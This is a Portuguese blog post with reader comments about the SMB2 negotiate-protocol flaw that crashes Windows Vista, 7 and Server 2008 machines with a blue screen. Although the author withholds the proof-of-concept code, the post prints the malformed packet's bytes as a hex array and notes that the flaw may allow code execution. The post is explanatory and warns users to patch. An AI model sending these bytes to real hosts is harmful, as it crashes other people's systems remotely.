Vulnerabilidade no Windows 2008/Vista e 7!

bsodJogando conversar fora e tomando uma cerveja com o Carlão (Carlos Barcellos), ele mencionou sobre uma falha de  negociação no protocolo SMB2 do Windows. Na hora não dei muita atenção, pois pensei que tal  vulnerabilidade não atingiria as maquinas com o sistema operacional atualizado. Para a  minha surpresas, todas as máquinas submetidas ao teste sofreram a famosa BSOD (blue screen of death)  seguido do desligamento imediato.

A vulnerabilidade ocorre no protocolo SMB2 (Server Message Block — versão 2) da Microsoft,  localizado na camada de rede, utilizado geralmente para o acesso aos recursos compartilhados e autenticação IPC (Comunicação Inter-Processo).

Este  protocolo é o padrão de compartilhamento de arquivos entre computadores rodando Windows, e especificamente a versão 2 (SMB2) pode ser derrubada por um código de prova de conceito. Por questões éticas não disponibilizarei  o código. A seguir a lista das versão comprometidas:

  • Windows 7 (32 e 64 bits);
  • Vista, Vista SP1, Vista SP2 (32 e 64 bits);
  • Windows 2008, e 2008 SP2 (32 e 64 bits, e Itanium-based).

“Esse método ataca via negociação de requisição de protocolo (negotiate protocol request) que é a primeira query enviada pelo SMB. A vulnerabilidade está presente apenas nas versões de Windows que incluem o Server Message Block 2.0 e tem o protocolo ativado. O sucesso no ataque não requer acesso local na máquina e resulta na Tela Azul da Morte (Blue Screen of Death).”

smb

A seguir, uma versão do pacote modificado:

 0x01, 0x00, 0x00, 0x90, // Cabecalho
 0xff, 0x53, 0x4d, 0x42, // String SMB
 0x72, 0x00, 0x00, 0x00, // Protocolo de negociacao
 0x00, 0x18, 0x53, 0xc8, // Codigo operacao 0x18 & sub 0xc853
 0x00, 0x26,             // Valor antigo esperado pelo protocolo "\x00\x00"
 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xfe,
 0x00, 0x00, 0x00, 0x00, 0x00, 0x6d, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4e, 0x45, 0x54,
 0x57, 0x4f, 0x52, 0x4b, 0x20, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x41, 0x4d, 0x20, 0x31,
 0x2e, 0x30, 0x00, 0x02, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30, 0x00,
 0x02, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x66, 0x6f, 0x72, 0x20, 0x57,
 0x6f, 0x72, 0x6b, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x73, 0x20, 0x33, 0x2e, 0x31, 0x61,
 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58, 0x30, 0x30, 0x32, 0x00, 0x02, 0x4c,
 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x32, 0x2e, 0x31, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c,
 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00, 0x02, 0x53, 0x4d, 0x42, 0x20, 0x32, 0x2e,
 0x30, 0x30, 0x32, 0x00
OBS: Como mencionou o José Mateus Ucelli, quem conseguir controlar esse ponteiro na hora do estouro da pilha, pode apontar para execuçao de qualquer programa na memória…

OBS2: Sugiro aos usuários Windows (credo!) ficarem atentos com relação ao problema, e consequentemente  buscarem a  solução o mais breve possível junto ao fornecedor do sistema operacional. Pois códigos maliciosos surgirão de forma exponencial.

Fontes de informação:
Hack A Day

7 comentários em “Vulnerabilidade no Windows 2008/Vista e 7!

  1. O artigo até é interessante, mas você é muito pouco profissional.. parece até um desses lammers que aprenderam alguma coisa de linux e já saem fazendo guerra santa!

    Ah, outra coisa, o título do seu blog é ridículo!

    1. Luiz Carlos:

      Tenho maturidade o suficiente para respeitar a sua opinião. Entretanto não mencionei nenhuma mentira e realmente estou surpreso… pois qualquer pessoa com um programinha escrito em Visual Basic via socket é capaz de derrubar servidores de grande importância empresarial.

      Abraços

  2. Ridículo é você, Luiz Carlos.
    Não vi em momento algum algo dizendo que o Windows é ruim, apenas na observação do dono do blog (sendo que ele simplesmente expressou a opinião dele por meio de um ‘eca’).
    Você deveria ficar feliz que a falha foi descoberta e notificada, assim a Microsoft pode corrigí-la e evitar problemas futuros.

  3. Gostaria de começar meu comentário dizendo que gostei muito do título: “Inteligência Coletiva”. Todo bom profissional hoje em dia sabe que compartilhar o que se sabe é muito importante. Os alertas sobre versões do Windows devem servir de subsídios para que as correções adequadas sejam feitas. Acredito que já deva ter gente na Microsoft fazendo isso e que bom que existem pessoas como o Alessandro (Cabelo) com conhecimento suficiente para compartilhar conosco. ….Abraços…Andrea-Bebedouro-Etec

Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair /  Alterar )

Foto do Google

Você está comentando utilizando sua conta Google. Sair /  Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair /  Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair /  Alterar )

Conectando a %s

Este site utiliza o Akismet para reduzir spam. Saiba como seus dados em comentários são processados.